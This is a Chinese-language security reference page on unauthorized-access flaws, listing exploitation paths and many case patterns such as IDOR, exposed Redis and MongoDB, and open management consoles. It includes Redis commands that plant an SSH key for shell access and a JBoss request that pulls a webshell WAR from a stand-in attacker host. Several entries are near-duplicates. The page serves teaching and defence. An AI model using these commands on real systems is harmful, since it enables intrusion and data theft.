跳到主要内容

未授权访问

未授权访问利用的是服务开放了网络端口但未部署有效身份验证的边界失效:服务端口可达即可访问,攻击者无需凭据、无需绕过任何认证逻辑。 与弱口令不同,这里连密码的门都没有——数据库直接暴露在网络上,管理接口不需要登录,业务 API 不校验调用方身份。

成立前提

服务绑定到外网可达地址(0.0.0.0);未配置访问认证;网络层缺少防火墙或安全组限制;内网服务被 DMZ 机器或 SSRF 中转后间接暴露。常见场景:

  • 数据库直接对外:Redis、MongoDB、Elasticsearch、Memcached 默认不开认证
  • Web 管理接口无鉴权:后台路径直接可访问,无 session 校验
  • 企业内部工具:IM 服务器 API、日志分析平台、内部 wiki 未鉴权
  • IoT/嵌入式设备:路由器、摄像头管理页面可绕过登录

利用链路

数据库无认证直连

Redis 默认绑定所有接口且不需密码,连接后可读写所有数据,还可借助 CONFIG SET 写入 SSH 公钥或 crontab 获得服务器 shell:

redis-cli -h <host>
> config set dir /root/.ssh
> config set dbfilename authorized_keys
> set pwn "<attacker_pubkey>"
> save

MongoDB 同样默认无认证,直接连接后可读写所有数据库。Elasticsearch 的 REST API 无认证时,访问 /_cat/indices 即可列出全部索引和数据。

Web 接口未鉴权

后台管理页面依赖前端跳转而非服务端 session 校验,直接访问 /admin/users 等路径即可绕过登录页:

GET /admin/users → 正常应跳转到登录页,实际直接返回用户列表

部分 API 仅做了页面级鉴权,但 JSON 接口本身未校验,直接请求 /api/orders/list 返回全量数据。

水平越权(IDOR)

接口通过请求参数中的 ID 定位资源,服务端未校验 ID 与当前用户的归属关系:

GET /api/order/10086 → 自己的订单
GET /api/order/10085 → 他人订单(成功返回)

源码/备份文件未授权下载

版本控制目录或备份文件随 Web 根目录一起对外暴露,直接访问即可获取完整源码:

  • .svn 目录:/.svn/wc.db/.svn/entries 包含所有受控文件的内容和路径,可还原出完整工程代码,进而提取数据库连接字符串、密钥和内部配置
  • 备份文件:站点打包后遗留在 Web 目录下(/backup.zip/www.tar.gz/db.sql),通过猜测常见文件名直接下载

这类暴露不需要任何漏洞利用,服务端正常响应文件下载请求,日志中呈现为合法的 GET 请求。

JBoss/中间件控制台无认证

JBoss 的 /jmx-console/web-console 在默认配置下不设访问控制,任何人访问即可进入管理界面。与弱口令不同,这里根本没有认证环节——攻击者通过 DeploymentScanneraddURL 功能提交一个远程 WAR 包地址,JBoss 自动拉取并部署,直接获得 webshell:

POST /jmx-console/HtmlAdaptor
action=invokeOp&name=jboss.deployment:type=DeploymentScanner,...
&arg0=http://attacker.com/shell.war

rsync 未授权访问

rsync 服务未配置 auth userssecrets file 时,任何人连接即可列出同步模块并下载/上传文件:

rsync rsync://<host>/ # 列出所有模块
rsync rsync://<host>/data/ ./ # 拉取整个目录

大型互联网公司服务器有时在内部同步场景中遗漏端口认证配置,导致整个文件树对网络可达机器开放。

SSRF 中转内网服务

外网无法直接访问的内网 Redis、MongoDB,通过 SSRF 漏洞将请求中转到内网,间接实现未授权访问。内网服务因为不面向外部往往从未配置认证。

历史样本

MongoDB/Redis 无认证对外暴露:大量中小企业将数据库服务绑定到公网 IP 且不设密码,攻击者通过端口扫描即可发现并直接读写全库数据,常见于 VPS 新建实例未经安全加固直接投入使用。

企业 IM 工具 API 无鉴权:企业统一通信平台的 REST API 接口未要求认证 token,直接请求即可获取全量聊天记录、用户列表和内部文件。

学校/政务系统登录形同虚设:认证逻辑仅在前端 JavaScript 中实现,服务端接口不做 session 校验,直接访问数据查询接口返回全量数据。

摄像头/设备管理页面可绕过登录:嵌入式设备的 web 管理界面存在认证绕过,直接访问配置接口可读取凭据或修改设备配置,批量影响同型号设备。

视频监控系统批量摄像头未授权:部分视频监控云平台设备出厂带有固定格式的账号密码,并提供按设备编号访问的接口;攻击者通过枚举设备编号即可遍历全网接入该平台的摄像头,无需破解任何凭据。

SVN 目录暴露导致源码和数据库凭据泄露:站点部署时未将 .svn 目录排除在 Web 根目录之外,攻击者直接获取 wc.db 后还原完整源码,从配置文件中提取到数据库主机地址、账号和密码,进而完成对数据库的直连访问。

物流/电商订单接口 IDOR(运单号可枚举):快递、外卖、电商等平台的订单详情接口以自增整型或日期+序号组成的订单号作为唯一标识,服务端未校验订单归属;遍历参数即可批量获取他人姓名、收货地址、手机号,部分场景还可越权取消或删除他人订单。

航空/保险订单越权访问:机票、保险等平台的订单查询或投保确认接口通过请求参数中的订单号定位记录,服务端未验证当前用户与订单的归属关系;枚举订单号即可获取他人保单号、证件号、联系方式及行程信息,部分接口甚至允许代他人完成支付投保流程。

政务平台后台接口未鉴权:政务类通用 CMS 或 OA 系统的管理功能路径(用户权限修改、密码重置、管理员添加)未部署服务端访问控制;普通用户或匿名访问者直接构造请求即可完成权限提升或批量修改系统账户,同一套通用程序部署于大量政府站点时形成批量影响。

移动应用接口登录态绑定缺失:部分 App 在登录后返回用户标识符(uid、snsid、设备 ID),后续所有接口以该参数定位用户而非依赖服务端 session;攻击者修改接口请求中的用户标识即可切换到任意他人账号,读取消息、位置、联系人或以他人身份发起操作,无需破解任何凭据。

医保/社保/挂号系统查询接口越权:医疗类民生平台的个人信息查询接口通过 cookie 或请求参数中的用户 ID 定位数据,服务端不做归属校验;修改参数或伪造 cookie 中的用户字段即可获取他人姓名、身份证号、就诊记录、薪资及单位信息,涉及大量高敏感度个人数据。

内网 OA/ERP 系统通过公网 IP 直接暴露:企业协同办公系统、进销存或 ERP 平台部署在公司服务器上,运维为方便远程访问将其绑定到公网 IP 且不经过 VPN,任何人可直接访问登录页乃至管理接口。未启用认证或认证形同虚设的系统(如泛微 OA 特定接口无需登录即可上传文件并 GetShell)使得内部敏感数据、员工信息和业务流程完全暴露于外网。

Spring Boot Actuator 端点未鉴权:Spring Boot 应用默认或错误配置下,/actuator/env/actuator/heapdump/actuator/mappings 等管理端点对外开放且无认证保护。攻击者可通过 /actuator/env 读取完整环境变量(含数据库密码、API 密钥)、通过 /actuator/heapdump 下载堆内存快照后离线提取敏感字符串,高版本还可借助 /actuator/gateway/routes/actuator/loggers 触发 JNDI/SSRF 进一步渗透。

云存储 Bucket 公开读写配置:OSS、S3 等对象存储服务的存储桶访问策略配置为公开读(或读写),业务上传的用户数据、内部文档、数据库备份文件可被任何人直接列出并下载;配置为公开写时攻击者还可向桶中写入恶意文件,进而影响依赖该存储桶分发内容的业务逻辑。

Kubernetes Dashboard 无认证暴露:集群管理员为方便操作将 Kubernetes Dashboard 部署到公网且未配置 RBAC 鉴权或绑定了高权限 ServiceAccount,访问 Dashboard 即可浏览全部命名空间资源、读取 Secret 中的凭据、创建特权 Pod 并通过 hostPath 挂载宿主机文件系统,最终实现对整个节点的控制。

GraphQL 接口未禁用内省查询:生产环境的 GraphQL 端点保留了默认开启的 introspection 功能,攻击者发送 {__schema{types{name fields{name}}}} 即可获取完整数据模型,枚举出所有查询、变更操作及字段名称;结合接口本身缺乏细粒度鉴权,内省查询的结果直接成为构造越权或数据批量拉取请求的蓝图。

多步骤认证流程中间状态未校验:密码重置、手机验证等多步骤认证流程中,服务端仅在最终操作时校验参数合法性,未验证中间步骤的完成状态;攻击者在完成自身验证后直接修改请求中的账号标识(手机号、用户 ID),或跳过验证码步骤直接访问末尾操作 URL,即可以他人账号完成密码重置或身份切换。

SaaS/托管平台租户间数据隔离缺失:多家企业共用同一套托管系统时,平台未在数据层按租户 ID 进行隔离;突破某一租户的访问控制后,请求可跨越租户边界直接读写其他企业的数据,导致一点突破、批量沦陷,受影响的所有企业客户均无感知。

前端 JS 跳转替代服务端鉴权:后台管理功能的访问控制仅依赖前端 JavaScript 跳转到登录页实现,服务端接口本身不验证 session;直接在浏览器中访问后台路径、或在 JS 跳转触发前中断页面加载,即可绕过登录直接操作后台功能,后端始终正常响应并返回数据。

管理后台 IP 限制仅校验可篡改请求头:部分系统将后台访问限制为内网或指定 IP,但校验逻辑依赖 X-Forwarded-ForX-Real-IP 等客户端可控请求头而非网络层 IP;攻击者在请求中伪造该头部为合法 IP 值,即可从任意网络直接访问本应受限的管理接口。

phpMyAdmin config 认证模式免密直连:数据库管理工具以 config 认证方式部署时,访问 URL 无需输入任何用户名和密码即可进入完整的数据库管理界面,等同于数据库直接对外开放,任何可达该地址的用户均可读写全库数据或导出备份。

顺序编号接口无认证遍历:查询接口以连续自增整数作为用户或账单标识,且接口本身不要求任何登录凭据,攻击者只需遍历编号范围即可批量获取全量用户信息,数据规模仅受编号上限限制。

通用 CMS/论坛软件身份验证完全绕过:通用建站或论坛软件在特定版本或默认配置下存在认证绕过,无需提供任何密码即可直接以目标用户(包括管理员)身份完成登录,同一套软件部署于大量站点时形成批量影响。

隐藏表单字段资源归属未校验:删除或修改操作的目标资源标识存储在前端隐藏表单字段中,服务端处理时未验证该资源是否属于当前登录用户;篡改隐藏字段值即可对任意用户的资源发起越权操作。

枚举用户 ID 叠加接口越权放大影响:先通过猜测或爆破获取有效用户 ID,再向不校验调用方与目标用户归属关系的接口传入该 ID,两步组合将单一的枚举问题放大为可批量读取他人全量业务数据的重大泄露。

系统通知消息携带凭据且接口无用户隔离:平台通过系统消息向用户下发初始密码、激活链接等凭据信息,而消息查询接口未做用户归属校验;攻击者访问他人消息列表即可批量收集账号凭据,进而完成接管。

登录验证依赖字符串拼接 SQL 可被万能密码绕过:登录逻辑通过字符串拼接构造 SQL 查询,输入特定 SQL 片段即可使查询恒为真,完全绕过认证直接进入系统;影响往往不局限于单账号,而是直接获得系统级访问权。

业务流程中间步骤验证可跳过直达末尾操作:手机验证、支付确认等多步骤流程中,服务端对中间环节(短信验证码、身份核验)的完成状态不作强制校验;攻击者跳过验证步骤直接调用末尾操作接口,服务端照常执行,绕过平台设置的安全门槛。

通用电商/业务 CMS 权限设计存在系统性缺陷:通用电商或业务管理系统在多个独立业务流程中均存在越权操作,缺陷分散于下单、地址修改、物流查询等不同节点,说明权限校验在设计阶段就整体缺失;部署该 CMS 的所有站点均受影响,一次审计结论可批量复现。

弱口令与未鉴权服务在同一系统中并存叠加攻击面:系统同时存在弱口令后台和无认证数据库或缓存服务,两类问题攻击路径互不依赖,任意一条都可独立利用;并存时实际暴露面是两条攻击链的并集,修复优先级应按最短路径而非问题数量评估。

Cookie 字段伪造绕过设备登录验证:嵌入式设备或路由器的 Web 管理界面通过 cookie 中特定字段的值判断登录状态,服务端不做进一步校验;将 cookie 中对应字段修改为表示已登录的固定值后刷新页面,即可直接进入管理界面,修改设备密码也不影响绕过效果。

密码重置请求中账号标识可替换:密码找回流程将目标账号标识存放在请求参数中,服务端在发送重置邮件后未绑定操作会话;攻击者完成自身账号的验证步骤后,将参数中的账号替换为目标账号,重置链接对应的操作权限随之转移,完成对任意账号的密码重置。

密码重置链接无次数限制且账号参数可遍历:找回密码生成的重置链接可反复使用,链接中的账号参数(如 cardno、uid)未做绑定校验;攻击者只需持有任意一条有效重置链接,遍历参数值即可批量对其他账号执行密码重置操作。

搜索/图片抓取功能作为 SSRF 内网探测通道:平台的图片搜索或内容抓取功能未限制请求目标地址范围,服务端会主动访问用户提交的任意 URL;将目标替换为内网地址后,服务端成功请求并返回内网服务的响应内容,实现对内网拓扑和服务的无认证探测。

在线代码执行功能沙箱隔离缺失:在线 IDE 或代码运行服务对 PHP、Python 等语言的执行环境未做权限隔离,用户提交的代码直接以高权限进程运行;通过调用系统命令可读取 /etc/shadow、枚举服务目录,进而实现对宿主机的完整控制。

政务/税务系统身份绑定验证码形同虚设:用户身份认证时需输入短信验证码,但服务端仅校验格式而不验证真实性,输入任意值均可通过;攻击者注册账号后输入他人企业识别号和随意填写的验证码,即可成功绑定并查询该企业的全量涉税档案信息。

金融客户端以自增用户标识作为接口参数越权查询:金融 App 向每个注册账户分配连续自增的用户标识,交易记录、银行卡绑定等接口以该标识作为唯一查询参数;遍历标识值即可批量获取其他用户的交易流水和绑卡信息,无需任何额外凭据。

邮件系统昵称登录接口仅验证账号存在性:邮件系统的昵称登录接口仅查询用户是否存在,不校验密码;接口将查询到的用户名、域名和明文密码直接拼接后重定向到登录接口,完成无密码登录,同时附带泄露该账号的明文密码。

游戏/应用后台管理接口完全无认证:游戏或应用的后台管理系统未部署任何登录验证,URL 直接可达;攻击者可对游戏内容进行任意增删改、向全服玩家批量群发礼品,后台功能完全暴露于公开网络。

社工库撞库复用后台管理员账号:通过搜索引擎收集目标平台的管理员用户名,将其与公开社工库中已泄露的历史密码逐一尝试;成功匹配后以管理员身份登录后台,利用的不是系统漏洞而是账号复用习惯。

连号账号配合固定弱口令批量接管:系统账号以连续手机号或固定前缀自增格式生成,且平台对同一密码的账号比例不作检测;攻击者枚举账号序列并以常见弱口令批量尝试,可在短时间内接管大量真实用户账号。

FTP 匿名访问暴露政务文件:政府或企事业单位的 FTP 服务器开启匿名登录,未设置目录访问控制;任何人无需凭据即可列目录并下载内部文件,涉及公民信息、业务数据或系统配置的文件随即完全暴露。

查询接口有权限校验而操作接口疏于防护:系统在查询类接口上做了归属校验,但在对应的取消、删除、修改等操作接口上遗漏了同等校验;攻击者虽无法读取他人数据,却可以对他人资源执行破坏性操作,权限设计在功能维度上存在不对称漏洞。

招聘系统应聘者资料接口越权:招聘平台的简历详情或投递记录接口以应聘编号作为唯一定位参数,未校验当前会话用户是否具有查看权限;遍历编号即可获取全平台应聘者的真实姓名、联系方式、教育背景等隐私信息。

车辆 GPS 监控系统弱口令进入后全量设备可查:车辆追踪管理平台使用通用弱口令保护登录页,进入后台后可查询平台内所有接入设备的实时位置、历史轨迹和精确到路段级别的行程信息;单一入口被突破即等同于所有接入车辆的位置隐私全部泄露。

Memcached 无认证暴露用户隐私缓存:Memcached 服务绑定公网且不配置任何认证,攻击者直接连接后可枚举缓存槽并读取其中的用户数据;常见情形是移动应用将用户短信记录、通讯录、照片同步缓存于此,无需任何漏洞利用即可批量获取。

付费视频试看地址与正片地址存在规律性映射:视频平台对付费内容的访问控制仅在播放界面层实现,底层媒体文件的存储路径遵循可预测的日期加片名格式;攻击者通过试看请求获取路径片段后,按规律替换参数即可构造出完整正片的直接下载地址,绕过付费验证。

Android 组件对外暴露被第三方应用滥用:移动应用的 Receiver 或 Activity 组件在 AndroidManifest 中声明为 exported 且未设置权限保护;同设备上的其他应用可发送构造的 Intent 触发该组件执行特权操作(如安装任意 APK、读取业务数据),无需任何用户交互。

社交关注接口双向用户标识可互换:关注操作接口同时接受发起方和目标方的用户标识作为参数,服务端不校验发起方与当前会话用户的一致性;将双方标识对调后批量提交,可强制任意用户关注指定账号,进而刷粉或借助关注关系触发后续业务权限。

JBoss Invoker 接口独立开放而控制台已被删除:部分 JBoss 部署虽然删除了 /jmx-console/web-console,但遗漏了对 Invoker 接口的防护;该接口同样支持任意 Java 方法调用,在无需认证的情况下可直接执行系统命令并获得 webshell。

学籍/准考证接口以学号参数遍历无需登录:教育类平台将准考证、学籍档案等信息绑定到自增学号参数,接口本身不要求用户登录或持有有效 session;攻击者枚举学号范围即可批量获取姓名、身份证号、照片等高敏感数据,整个平台的全量用户信息完全暴露。

服务端验证结果在响应包中可由客户端篡改:多步骤安全流程(如密码修改的短信验证码校验、安全问题验证)的每一步将验证结果以明文 JSON 返回客户端,服务端根据该返回值决定是否允许进入下一步;攻击者拦截并修改响应包中的失败标志为成功,即可绕过验证码和安全问题直接完成敏感操作。

微信客户端接口仅校验 User-Agent 而非真实身份:面向微信用户的订单或内容接口将访问控制限制为「仅允许微信内访问」,但校验逻辑依赖可伪造的 User-Agent 字段;任何请求只需将 User-Agent 替换为微信浏览器标识即可完全绕过限制,直接访问接口并获取他人订单信息。

通用单点登录软件普通用户可直达管理功能路径:通用 SSO 或身份服务软件的管理功能路径(用户列表、系统参数、数据库连接配置)仅依赖前端菜单控制可见性,服务端接口不验证调用者权限等级;普通用户直接构造管理路径的 URL 即可访问并操作,同一套软件部署于大量站点时形成批量影响。

智能硬件/TV 盒子管理后台无认证:嵌入式设备的内容管理后台(游戏中心、应用商店、固件分发)部署为 Web 服务且无任何登录验证,攻击者直接访问后可对设备下发的应用、内容和配置进行任意增删改,通过 OTA 机制批量影响已接入该平台的所有同型号设备。

付费视频试看请求暴露正片存储路径规律:视频平台对付费内容的访问控制仅作用于播放界面,底层媒体文件路径遵循可预测的日期加片名格式;攻击者从试看请求中提取路径片段后,按规律替换参数即可构造出完整正片的直接下载地址,绕过付费验证且无需任何账号登录。

云笔记私密功能 API 接口明文返回加密内容:笔记类应用的阅读密码保护仅在前端界面层实现,底层同步或查询接口未对加密笔记做访问控制;抓取底层接口的响应包,私密笔记内容以明文 JSON 形式返回,encrypted 标志位无实际加密效果,客户端本地附件同样未加密存储。

保险保单号批量枚举无需认证:保险类平台的保单查询接口以可预测的连续编号格式定位保单记录,接口本身不要求用户持有任何凭据;遍历编号范围即可批量拉取投保人姓名、证件号、联系方式及保障内容,影响范围与编号区间等幅。

支付请求中第三方支付凭据在响应包中明文泄露:电商平台在生成第三方支付请求的响应包中附带了商户账号、支付密钥等内部凭据,任何完成下单操作的用户均可从响应内容中截取;持有该凭据后可直接调用支付平台 API,影响远超单次订单。

自助终端沙箱逃逸后直连本地数据库:线下自助终端(取件柜、自助机)运行在沙箱受限环境中,沙箱本身存在逃逸路径;逃逸后可访问本机文件系统和进程,发现未加密的数据库连接配置并直连本地数据库,获取终端记录的全量用户收件信息、快递员账号及明文密码。

查询接口响应直接返回管理员凭据:部分系统的业务查询接口(如业务进度查询、账号信息接口)在响应体中附带了后台管理账号或密码字段;普通用户完成正常查询操作后即可从响应包中获取管理员凭据,无需任何额外攻击手段即可完成后台登录。

域名管理密码以弱哈希形式嵌入 URL 参数:域名注册商的管理系统将域名操作密码以 MD5 哈希的形式嵌入特定页面的 URL 参数,用于跨页身份传递;攻击者访问有权限的域名管理页面后,从 URL 中提取哈希值并通过彩虹表或在线数据库碰撞还原明文,进而接管任意域名的 DNS 和解析权。

摄像头平台设备编号可枚举且出厂凭据统一:视频监控云平台为接入设备分配可枚举的格式化设备编号,并在帮助文档中公开了出厂默认账号密码;攻击者先通过平台提供的设备在线查询接口批量探测有效编号,再以公开默认凭据逐一登录,即可查看全网接入该平台的摄像头实时画面,无需破解任何个性化设置。

订单短信通知链接中携带 IDOR 参数:平台向用户发送的订单状态短信直接包含带有订单标识参数的跳转链接,点击后无需登录即可查看订单详情;将链接中的订单参数替换为其他值后同样返回完整信息,任何收到短信的用户均可借此遍历他人订单,且由于无认证门槛,链接本身就是访问凭据。

内容发布接口以客户端传递的用户标识决定归属:内容创作或用户生成内容平台的发布接口以请求参数中的用户 ID 和用户名决定内容归属,而非读取服务端 session;退出登录后直接构造带有任意用户 ID 的 POST 请求,平台即以目标用户身份完成内容发布,可借此以他人账号发表内容或触发打赏等互动操作。

政务系统业务查询接口无需登录可直接访问:政务类查询服务(环保数据查询、事故协商记录、办事大厅业务进度)将查询功能部署为公开 URL,服务端不验证调用者的登录状态;任何人直接访问该地址即可查询涉及公民隐私或企业数据的业务记录,无需注册账号或持有任何凭据。

第三方接口会话传递无鉴权:平台引入第三方服务时,调用方将会话或用户标识以明文参数形式嵌入跳转 URL;第三方接口以该参数定位用户并直接切换到对应会话,未对调用来源与参数合法性做绑定验证;修改 URL 中的用户标识即可切换到任意用户上下文并执行后续操作。

第三方服务绑定接口缺少所有权核验:手机号绑定、账号关联等服务绑定类接口仅要求提交目标标识符,不验证提交方对该标识的所有权;任意用户可将他人手机号或账号绑定到自身名下,进而以该账号身份查询话费、办理业务或读取隐私数据,受害者账号的业务控制权随即旁落。

验证码不刷新可无限制爆破:登录或身份验证接口的图形验证码或短信验证码在多次请求间不失效、不更换;攻击者对密码字段进行无限制枚举,系统存在大量弱口令账号时可批量接管,验证码机制形同虚设。

DLL 或 JAR 包遗留 Web 可访问目录被反编译:Web 应用将编译产物(DLL、JAR)遗留在 Web 可访问路径,攻击者下载后通过反编译工具还原控制层逻辑;从中发现硬编码的加密密钥和未公开的管理接口,再结合另一个可无需登录获取管理员标识的接口,本地构造合法身份凭据后完整绕过认证进入后台。

监控平台官方在线查询接口被用于设备号批量枚举:视频监控平台提供设备在线状态查询功能,供用户确认设备是否接入;攻击者将该官方接口作为前置枚举步骤,高效过滤出有效设备号,再配合厂商帮助文档公开的出厂默认凭据批量登录,整个攻击链仅使用平台提供的合法功能。

运维工具内嵌内部文件共享地址未清理:服务商在交付环境时,内置运维工具或客户端中遗留有内部 FTP 或文件分发服务器的地址;攻击者从工具配置中提取该地址后直接访问,可列目录、下载内部软件包,或将恶意文件替换进分发目录,进而影响后续下载该包的所有机器。

企业邮件账号作为内网横向跳板:企业邮件账号以弱口令或社工库泄露凭据被突破后,攻击者从收件箱中检索密码重置链接、VPN 验证码接收手机号配置和内部系统导航;依次完成 VPN 认证、内部平台登录和开发环境接入,单点邮件突破滚雪球扩展为全内网覆盖。

网络设备厂商预留 SSH 后门或出厂固定凭据:商业防火墙、负载均衡等网络设备存在厂商在特定版本中预留的 SSH 后门账号或出厂固定密码;攻击者以已公开的后门凭据直接接入设备管理接口,可读取完整配置、创建 VPN 隧道进入内网,影响范围等同于网络边界完全失守。

多个低评级缺陷组合才形成高危利用链:单一缺陷(如任意消息推送、前端长度限制未经服务端二次校验、存储型 XSS)单独存在时影响有限;组合后攻击者可将超长 XSS 载荷注入消息并强制推送给海量用户,三个问题叠加才产生大规模危害,单独评估每个缺陷会低估整体风险。

社交互动接口参数可对调实现越权操作:关注、打赏等互动接口同时接受发起方与目标方标识作为参数,服务端不校验发起方与当前会话用户的一致性;将发起方与目标方参数互换后批量提交,可强制任意用户关注指定账号;将打赏目标替换为自己的内容后触发,还可使他人账号向攻击者内容发起打赏。

教育系统全量学生隐私因验证码复用与顺序账号叠加泄露:学籍或考试类平台登录接口验证码不刷新,账号序列为顺序整数;枚举账号并爆破弱口令获得入口后,系统存在另一个可查看账号明文密码的接口,两个缺陷叠加使全量学生姓名、证件号、联系方式和学籍信息完整暴露。

智能设备锁屏逻辑存在非预期 UI 跳转路径:智能手机防盗锁屏在触发外部浏览器或特定系统弹窗的交互流程中,意外将「重新激活设定」等敏感系统入口暴露给操作者;攻击者从该入口绑定与原账号无关联的新账号并完成验证,绕过正常锁定直接解锁设备,设计上未预见到这条非预期的跳转路径。

浏览器禁用 JavaScript 绕过客户端访问控制:管理系统的登录验证或权限跳转逻辑完全依赖 JavaScript 实现,在浏览器层面禁用脚本后,原本触发跳转或隐藏的页面元素直接暴露在界面上;攻击者在禁用 JS 的状态下操作管理功能,服务端对请求本身并无任何验证,直接完成权限提升或账号接管。

一次性操作接口未绑定已消费状态允许重放:系统对特定资源操作(如昵称只能修改一次、限量券只能领取一次)仅在首次请求时生成对应记录,未将接口本身标记为已消费;攻击者截取并重放合法请求,服务端每次都正常执行,限制形同虚设,还可将请求中的用户标识替换为他人账号批量触发。

SMTP 协议爆破内部邮件账号作为横向渗透起点:企业邮件服务对外开放 SMTP 或 IMAP 端口且无频率限制,攻击者以常见姓名格式构造账号字典并批量尝试;突破少量弱口令账号后,从收件箱内的通讯录导出更多内部账号,形成滚雪球式扩展,最终通过邮件中的 VPN 配置信息进入内网。

邮件服务器发件方地址未校验允许任意伪造:邮件服务器在接受外部投递时未校验 MAIL FROM 中发件方地址的真实性,任何人可利用该服务器以任意合法地址名义向外发送邮件;伪造成平台官方或内部人员的发件地址后,可用于发送钓鱼链接、重置密码通知或内部通知,收件方无法从邮件头识别伪造来源。

业务员工号接口验证码可复用遍历全量人员信息:企业内部人员查询接口以员工号作为唯一定位参数,且同一验证码在多次请求间不失效;攻击者发起一次合法验证后持续复用该验证码枚举员工号区间,批量获取全员姓名、部门、联系方式等内部人员数据,验证码机制对遍历攻击毫无约束。

政务/交通系统业务记录接口无需身份认证即可访问:机动车交通事故协商、环保申报、行政许可进度等政务业务记录以公开 URL 或可枚举参数提供查询,服务端不验证调用方的登录状态或与记录的关联关系;任何人直接访问或遍历参数即可获取涉及公民隐私的案件当事人信息、双方联系方式及处理结果。

移动应用返回包中用户上下文可被本地篡改切换:健康、社交类 App 的个人详情页在请求后将当前用户上下文信息返回客户端,后续页面以该返回数据渲染;攻击者拦截并修改服务端响应包中的用户标识字段,App 界面即切换到目标用户视角并加载其订单、联系方式等私密数据,服务端自始至终正常响应,所有数据真实可读。

Web 目录遍历暴露内部文件结构和数据库操作入口:Web 应用未禁用目录索引,部分目录直接以文件列表形式对外开放;攻击者通过目录浏览枚举出配置文件、数据库操作脚本或内部文档的路径,进而访问数据库管理界面或下载敏感文件,整个过程不需要任何凭据,只依赖 HTTP 默认响应行为。

第三方支付接入接口在响应中返回商户密钥:电商平台调用第三方支付渠道时,服务端将商户号、密钥、签名参数等内部凭据拼入响应并返回给客户端;普通用户在结算流程中即可从响应体中截取完整支付凭据,持有后可直接调用支付平台 API 发起任意交易或查询商户账务数据。

应用后台管理路径因调试或部署疏漏对外直接暴露:Web 后台管理系统的访问路径(如 /admin/admin.php)未受任何认证保护,通过搜索引擎收录、路径猜测或目录扫描均可发现;进入后台后攻击者可执行文件上传、内容修改等高权限操作,通常配合任意文件上传获得服务器 shell。

运营商绑定接口缺少手机号所有权核验:支付宝等平台接入运营商服务时,绑定接口仅要求提交目标手机号而不验证调用方对该号码的所有权;任意用户可将他人手机号绑定到自身平台账号下,进而以该号码身份查询话费、办理呼叫转移等业务,受害者手机号的业务控制权完全旁落且无任何感知。

通用单点登录系统普通账号可直接访问数据库连接配置页:通用 SSO 或身份服务软件的数据库连接信息配置页面(含主机地址、账号、密码)仅依赖前端菜单权限控制可见性,服务端接口对调用者的角色不作校验;普通用户直接构造该页面 URL 即可获取数据库完整连接凭据,同一套软件部署于大量站点时批量影响。

搜索引擎收录业务详情页导致无登录访问:部分平台的订单、快递、投诉等业务详情页面未设置 noindex 且对外直接可访问,URL 经爬虫抓取后被搜索引擎收录;攻击者通过站点搜索语法即可批量获取业务记录 URL,无需注册账号或猜测参数,直接点击即可访问他人业务数据,搜索引擎本身成为数据泄露的放大器。

访问控制依赖 User-Agent 而非身份认证:部分移动端或微信端接口将访问权限限制为特定客户端,但校验逻辑仅依赖 HTTP 请求头中的 User-Agent 字符串;任意请求只需将 User-Agent 替换为目标客户端标识即可完全绕过平台限制,再配合 URL 中的资源 ID 参数遍历,即可批量获取他人订单、物流、位置等隐私数据,整个过程无需任何账号凭据。

第三方服务接口以业务参数直接切换用户身份:部分平台在引入第三方服务或内部跳转时,通过 URL 参数(如 memberId、userId)指定当前用户,接口不校验该参数与调用会话的绑定关系;修改参数中的用户标识即可以任意用户身份完成登录态切换,后续所有操作均以目标用户身份执行,受影响的接口越权面等同于全量用户数据。

商业安全设备出厂默认凭据批量暴露:企业级防火墙、负载均衡等商业安全设备出厂时携带厂商统一的默认管理账号密码,运维人员上线后未修改;攻击者扫描特定型号设备的管理端口并以公开默认凭据逐一尝试,可批量登录设备管理界面,读取完整安全策略配置、创建隧道进入内网,受影响设备往往恰好是网络边界防护的核心节点。

官方社交媒体管理后台以弱口令暴露 API 密钥:企业将官方社交账号的自动化运营平台部署为 Web 服务,后台登录使用通用弱口令;进入后台后可直接获取绑定的 AppKey、AppSecret 和 Token 等完整 API 凭据,持有这些凭据后可调用平台 API 控制官方账号的消息收发、内容发布等功能,影响面覆盖全部粉丝和订阅用户。

Android 客户端信任所有 SSL 证书导致流量可被中间人劫持:移动应用在实现 HTTPS 通信时自定义了 TrustManager 或 HostnameVerifier,将所有证书和主机名均视为合法;在同一网络下,攻击者可以任意自签名证书完成 TLS 握手,中间人捕获并篡改应用的全部网络流量,包括登录凭据、支付参数和接口响应数据,受影响应用往往覆盖多个主流业务场景。

企业网盘/内部通讯录因邮箱账号弱口令直接暴露:企业将网盘、通讯录等内部协作系统与邮箱账号体系打通,邮箱账号设置了弱口令;突破邮箱登录后即可直接访问网盘中的内部文档、合同和源码,以及完整的企业通讯录(含姓名、职级、手机号),内部系统之间的单点信任将邮箱单点突破放大为全量内部数据泄露。

通用管理软件数据库操作页面无权限校验:部分通用考试、教务或业务管理系统将数据库操作功能(数据导入、数据查询、文件管理)封装为独立 Web 页面,未对调用方身份做校验;攻击者直接访问该页面即可执行任意数据库操作或遍历服务器目录,无需知道管理员账号,同一套软件部署于多家机构时影响成倍放大。

内容编辑接口以 ID 参数定位目标且无归属校验:内容管理平台的编辑、删除接口通过 URL 或 POST 参数中的文章 ID 定位操作目标,服务端不验证该 ID 是否属于当前登录用户;普通用户直接修改参数中的 ID 即可对任意内容执行编辑或删除操作,管理员发布的内容同样可被普通用户覆盖或删除,平台内容完整性完全依赖前端菜单可见性而非服务端授权。

保险/金融账单以结构化可预测编号批量枚举:保险单、信贷合同等金融类单据以机构代码加年份加顺序号拼接而成,接口通过该编号直接返回完整单据;攻击者先获取一个合法编号后推导出批量枚举规律,无需任何凭据即可拉取全量被保人或借贷人的证件号、联系方式、保障金额及合同条款,整个枚举过程不触发任何认证要求。

员工号查询接口验证码可被同一 token 持续复用遍历:企业内部或对外开放的员工/人员查询接口设有图形或短信验证码,但同一验证码在服务端通过首次校验后不立即销毁;攻击者持有任意一个通过验证的 token,即可在验证码过期前持续枚举员工号区间,批量获取全员姓名、部门、联系方式等信息,验证码机制对批量遍历不构成有效阻断。

移动 App 关注/互动接口参数位置互换触发越权操作:社交或电商类 App 的关注、打赏、邀请等互动接口同时接受操作发起方和接收方的用户标识作为参数,服务端不验证发起方是否与当前会话用户一致;将两个参数位置互换后批量提交,可强制任意账号关注指定目标或对指定内容发起打赏,进而刷取粉丝数据或诱导平台资产转移,无需获取目标账号的任何凭据。

